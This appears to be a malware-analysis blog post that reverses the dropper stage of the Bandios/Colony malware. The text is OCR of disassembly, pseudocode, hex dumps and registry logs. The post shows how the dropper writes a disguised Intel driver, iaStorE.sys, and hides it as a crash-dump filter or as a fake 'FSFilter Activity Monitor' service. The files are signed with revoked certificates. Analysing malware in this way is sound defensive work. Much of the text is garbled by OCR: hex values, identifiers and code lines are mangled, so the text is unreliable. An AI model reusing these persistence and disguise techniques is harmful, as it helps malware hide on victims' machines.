write_spoolsr_and_MSdat(); 00386E78 |40 5C 3E 8F EB 23 34 Bé 75 F8 Cé BE BB &C BY 42 B\
KeyHook_usp2@_n_dats(); 00386ESS | 1lE 85 34 BE 93 6% DA FD EL 1B 7D 83 D& 72 81 44 ™ 4
000078A1 iaStorE_and_files: 86 (3253441) 8,809 Off. 0, Sel. 0
And it calls decompress_ with extracted data and length of the data, IDAscope tells us

that the function uses ZLIB -related constants:

Seems like it's a driver, saved under C:\Windows\System32\drivers as iaStorE.sys :

ol e

aa327ABF
aa32vAva
ea32vATL
aa327AT2
aa327ATd
Ba32TATA
@a327ATD
aa327AER
Ba327AB3
aa327AE4
Ba327AES
Ba327ABA
aa327ABE
aa327ABD
ea327ABF
ea327A%8
ea327A91
aa327A%8
aa327A99
8a327A9F
aa32v7AAL
aa32v7ArY

push
push
push
call
add

lea

push
push
push
push
call
push
push
push
push
push
push
push
call
mov

cmp

esi

edi

ehx
memset

esp, @Ch

size t
int
void *

eax, [ebptnNumberOfBytesToWrite]

[ebpt+length]

[ebptencrypted data]

eax
ebx
decompress_|
edi

2

2

edi

edi

1F@1FFh

[ebp+iaStorE_sys
ds:CreateFilew

esi, eax

esi, @FFFFFFFFh
short loc 327AC2

¥

e fme fme hme dme dms s

output dec content

hTemplateFile
dwFlagsAndAttribut
dwCreationDisposit
1pSecurityAttribut
dwSshareMode
dwDesiredfccess

; 1lpFileName

es
ion
es

Found Crypto Signatures
=l ZLIB length starts
C73f98adc (58 bytes matched)
= 0x38c138 (58 bytes matched)

|referer1ced by (32a%6d (function: sub_32A310)

i

=l ZLIB distance starts

T P N
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12
® 13 w1l = al;
® 14 w3 = @;
® 15 iaStorE_sys = a2;
® 15| HNumberOfBytesliritten = @;
® 17| nNumberOfBytesTolrite = 12 * a3;
® 15| w4 = malloc(12 * a3);
® 19| w5 = vi;
® 28| if ( w4 )
21| {
e 22 memset(vd, @, 12 * a3);
® 23 decompress_(v5, &nNumberOfBytesToWrite, v1l, a3};
& 24 v6 = CreateFileW(iaStorE_sys, @x1F@1FFu, @, @, 2u, 2u, @);
& 25 w7 = vBj
® 26 if (v I= -1}
27 {
® 28 setFilePointer(ve, @, @, @):
o 2| e EOREESTGHSEEINS o<y - NS
38 1
® 31 free(vs);
® 2 if ( v7 )
33
® 34 FlushFileBuffers(v7);
® 35 CloseHandle (v7);
36 }
37| 3}
® 38| return v3;
® 39}

0000&EBA decompress_and_write_iaStorE: 29 (327ABA)

@ Hex View-1

JBT7EFEZL 00 0D G0 0D 0D 0B OO BB 0D OO BD B BP BB BB BB . .......c.ceeeaaa
JBT7EFE4AE OO 0D G0 0D 0D 0D GO BB 0D OO BD B0 BP BB BB BB . ........ceeeaaa
W TEFBLE 88 Ba Be e @8 57 B8 B ; PR G R T . Y,
CEFN T Rl B8 6F 88 & a8 73 88 7 d.o.w.s.%.5.y.5.
IBTEFETE ELE R e @8 SC 88 b t.e.m.3.2.%.d.r.
I7EFEE8 SR £ @8 S5C 88 b i.¥.e.r.s.\.1.a.
MTEFE08 SR EarE e aa 72 a8 2E 88 7 7 S.t.0.r.E...s.y.
JB7EFBALD pEERCENEEEETE G0 08 68 BB BB B0 B0 BD BB BB BB S......ceseaaaan
JB7EFEES OO 0D G0 0D 0D 0D G0 BB 0D OO BD B BP BB BB BB . .......c.ceeeaaa
JBTVEFECE OO0 OO G0 0D 0D 0D OO BB 0D OO BD B0 BP BB BB BB . .......c.ce0eaaa

On a ox64 system it installs the driver as a crash dump filter by simply adding the drive
name to the registry key
\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl\DumpFilters ,

on the next reboot, crashdmp.sys will load the filter driver into the dump stack, for more

infor

mation about Dump Filer Drivers , click here:
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https://crashdmp.wordpress.com/components/dump-filter-drivers/

ime ... Process Name PID Operation Path

w14, Onlinelnstallere... 6500 ﬂﬂeg@uewKﬁy HKLM

w4 Onlinelnstallere... 6500 @¥RegQueryKey  HKLM

w14 Onlinelnstallere... 6500 ﬁﬂegOpenKey HKLM\SYSTEMMCurrentControl Set\Control\CrashControl
w14 Onlinelnstallere... 6500 ﬂHegOpenKey HKLM\System\CumentControl Set\Cortrol\CrashControl
:14:... B®Onlinelnstallere... 6500 ﬂﬂegSatlﬂfoKey HKLM\System\CumentControl Set\Cortrol\CrashControl

w4 QOnline\nﬂal\ae. . 6500 mﬂegSetValue HKLM"System*.CumrentControl Set*\ControlCrashControl Dump Filters

2] Event Properties — [m] X
Event Process Stack
Date: 15/04/2018 15:14:26.1779652
Thread: 7676
Class: Registry
Operation: RegSetvalue
Result: SUCCESS
Path: HKLM\System\CurrentControlSet\Control\CrashControl\DumpFilte
Duration: 0.0000854
Type: REG_MULTI_SZ
Length: 50
Data: dumpfve.sys, iaStorE.sys
——

Debug View ] Structures
DA View-EIP (] pseudocode-B B Pseudococ
St bt [eupTveT TS

88328226 mov
88328220 mov
BB328234 mov
88328238 mov
88323242 mov
88328249 mov
8@32824F call
83328255 test
88328257 jnz

[ebp+var_1C], 74@8853h
[ebp+var_18], 72@86Fh
[ebptvar_14], 2E@845h
[ebp+var_18], 79@@73h

[ebp+var_ €], 73h
[ebp+var_8], @
ds :RegOpenkeyk
eax, eax

short loc_328271

88328259 push
28328256 lea
8832825E push
8832825F push
28328261 push
8@8328263 push
88328268 push
88328268 call

3
e
e
7
-]

offset aDumpfilters ; "DumpFilters"

[
d

2h ; chData

ax, [ebp+Data]

ax ; lpData
; dwType
; Reserved

ebp+phkResult] ; hKey
s:RegSetValueExk

88328271 loc_323271:

88328271 mov  eax, [ebptphkResult]
88328274 test eax, eax

88328276 jz short loc_32827F

T

100.00 (-28,61 (31,4 000076 00328271: set_@aStorE_as_DumpFiters: (Synchronized wit

On a 0x32 system it installs the driver via creating a service called iaStorE :

18
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
38
31
32
33
34
35
36
37
38
39
48
41
42
43
44
45

1

LABE

GetFullPathNameW(a2, @x184u, &Buffer, @)
v3 = OpenSCManagerk(@, @, @xFO83Fu);
f ( w3 )
return v2;
vd = CreateServicel(
w3,
L"iastorg",
L"ia5torE",
BxFBL1FFU,
2u,
lu,
a,
&Buffer,
L"F5Filter Activity Monitor™,
e,
L"F1tMgr™,
8,

[

£ (1ue )

if [ GetLastError() != 1873 )
1
L 9:
CloseServiceHandle(w3);
return v2;

StartServiceW(vd, @, 8);

if ( w4 )

1
CloseServiceHandle (v4);
CloseServiceHandle (v3});
return v2;

&

After extracting files and installing the driver, the sample exits.
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All files are signed, including drivers, certificates are revoked by its issuer, but that’s not a
problem for Windows:

D:\m_Files\4me\posts\r\EXTR\iaStore.sys:
verified: A certificate was explicitly revoked by its dissuer.
Link date: 4:54 pMm 3/21/2018
Publisher: Shanghai Talkus Information Co.LTD.
Company: <Intel Corporation:>
Description: Intel(R) Rapid Storage Technology Filter driver
Product: Intel(R) Rapid Storage Technology Filter driver
Prod version: 14.8
File version: 14 _.8.0.5
MachineType: 64-bit
D:\m_Files‘\4me\posts\r\EXTR\KeyHookb4.d11:
verified: A certificate was explicitly revoked by its dissuer.
Link date: 4:51 pm 3/21/2018
Publisher: Shanghai Talkus Information Co.LTD.
Company: n/a
Description: n/a
Product: n/a
Prod version: n/a
File wversion: n/a
MachineType: bd-bit

Thank you for your time.

Discuss on Reddit
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https://www.reddit.com/r/ReverseEngineering/comments/8cfjum/reversing_bandioscolony_malware_part_1/

